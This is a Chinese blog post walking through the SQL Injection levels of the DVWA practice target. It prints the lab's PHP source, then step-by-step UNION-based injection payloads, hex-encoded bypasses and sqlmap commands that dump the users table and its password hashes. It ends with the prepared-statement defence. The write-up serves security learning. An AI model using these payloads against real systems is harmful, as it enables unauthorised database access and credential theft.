DVWA靶机学习——SQL Injection(SQL注入)

这个系列是学习DVWA靶机的。今天学习SQL Injection的Low、Medium、High、Impossible级别。

Posted by K4ys0n on August 13, 2020

0x00 SQL Injection(SQL注入)

SQL Injection,即SQL注入,指攻击者通过注入恶意SQL命令,破坏SQL查询语句的结构,从而达到恶意SQL语句的目的。SQL注入漏洞危害巨大,常常导致整个数据库脱库,尽管如此,SQL注入仍是最常见的Web漏洞之一。

0x01 Low

源码分析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

可以看到参数id没有任何过滤,就直接将用户输入插入到sql语句中,直接万能秘钥“1’ or 1=1 #”即可开始注入测试。

SQL注入的一般步骤:

  1. 判断是否存在注入,注入是字符型还是数字型。
  2. 测试字段数。
  3. 确定显示的顺序和位置。
  4. 获取当前数据库。
  5. 获取数据库中的表名。
  6. 获取表中的字段名。
  7. 脱库,爆破数据。

解题思路

直接输入1' or 1=1 #,就可以看到当前表下的所有用户和密码。这个是万能秘钥,一般可以尝试测试一下,下面还是按照正常步骤来判断。

1、判断是否存在注入,注入是字符型还是数字型。 输入1,查询成功。 输入1' and '1' = '2,查询失败,返回结果空。 输入1' or '123' = '123,查询成功。 通过这三次测试就可以看出存在字符型注入,因为用到单引号字符,同时最后面是用一个开的单引号,这样就可以闭合源码中的单引号,其实也可以在最后加上#或者–+,输入后就可以注释掉源码中后面的语句内容。

2、测试字段数。 确认是字符型之后就可以猜测字段数。 输入1' or 1=1 order by 1 #,查询成功。 输入1' or 1=1 order by 2 #,查询成功。 输入1' or 1=1 order by 3 #,查询失败。 说明是2个字段,即成功的时候order by后面数字最大的。

3、确定显示的顺序和位置。 输入1' union select 1,2 #,查询成功,结果显示:

ID: 1' union select 1,2 #
First name:admin
Surname:admin

ID: 1' union select 1,2 #
First name:1
Surname:2

一般这种联合查询的时候,前面要使用不存在的id如0,这样才能显示union select的内容。但本题是显示所有返回结果,所以用存在的id也可以。 0' union select 1,2 #,查询成功。

4、获取当前数据库。 输入1' union select 1,database() #,查询成功得到数据库名dvwa

5、获取数据库中的表名。 输入1' UNION select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功得到表名有两个,guestbook与users

注:如果遇到Illegal mix of collations for operation ‘UNION’报错,一般是mysql版本过低,尝试换一个高版本的mysql,或者用网上教程查一下两个表的字段排序方法是不是一致。

6、获取表中的字段名。 输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功得到users表中的字段有10个,avatar,failed_login,first_name,last_login,last_name,password,user,user_id,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER

7、脱库,爆破数据。 输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功得到账号密码等字段,不过密码是MD5加密的。

当然还有另一种方法是sqlmap注入,首先需要Burpsuite抓包,把数据包保存成request.txt,然后打开windows终端(注意安装sqlmap)或者kali终端(自带sqlmap),输入以下命令:

sqlmap -r request.txt --batch --dbms="MySQL" --current-db	# 可以得到数据库名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa --tables	# 可以得到表名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa -T users --columns 	# 可以得到列名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa -T users -C "username,password" --dump		# 获得所有数据

0x02 Medium

源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

mysqli_real_escape_string这个函数会对\x00,\n,\r,\,’,”,\x1a进行转义,并且前端页面设置了下拉菜单,所以必须抓包修改后再注入。

绕过方法很简单,因为此时是数值型注入,不需要单引号,所以直接万能秘钥1 or 1=1 #即可,其他注入都跟Low等级一致,只需要抓包修改,不要用单引号即可。如果要用到单引号,那就用十六进制编码绕过。

解题思路

随便输一个,然后burpsuite抓包并发送到repeater模块,修改id的值为如下,然后发送出去之后,得到response搜索pre可以看到结果:

1、判断是否存在注入,注入是字符型还是数字型。 1 or 1=1 #,查询成功,说明是数字型(因为不需要引号)。

2、测试字段数。 1 order by 2 #,查询成功 1 order by 3 #,查询失败 说明字段数为2。

3、确定显示的顺序和位置。 1 union select 1,2 #,查询成功并返回信息可以看出顺序和位置,本靶机都有显示。

4、获取当前数据库。 1 union select 1, database() #,查询成功数据库名为dvwa。

5、获取数据库中的表名。 1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功得到结果为guestbook,users。

6、获取表中的字段名。 1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #,查询失败, 因为单引号被转义了,用0x7573657273代替users,用十六进制不需要再加单引号的十六进制编码了。 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查询成功得到列名为`avatar,failed_login,first_name,last_login,last_name,password,user,user_id,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER。

7、脱库,爆破数据。 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功得到结果为一系列账号密码等信息,密码为MD5。

0x03 High

源码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

可以看到没有了过滤函数,但多了Limit限制,感觉比Medium更简单,直接用Low的那些步骤输入即可。用#号注释掉后面的LIMIT 1。

解题思路

注意点击提交时会有一个弹出新页面,那才是真正的输入,但是输出结果是在原来的页面,这样的话测试就直接输入即可,不要用抓包,也用不了sqlmap,因为存在302跳转。

前面1到6步同Low登记,最后一步, 1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功,得到结果。

0x04 Impossible

源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

代码首先checkToken防御了CSRF,然后判断输入是否为数值,再采用PDO技术把参数的值写入为文本,也就是参数的值不能作为代码执行。这样就有效防御了SQL注入。

解题思路

无。

0x05 小结

防御方法:

  • 过滤用户输入,如一些关键词select、union等。
  • 使用预编译处理SQL语句,如PDO技术、Sqlparameter。
  • 使用OWASP等安全的SQL处理API。

0x06 参考

https://www.freebuf.com/articles/web/120747.html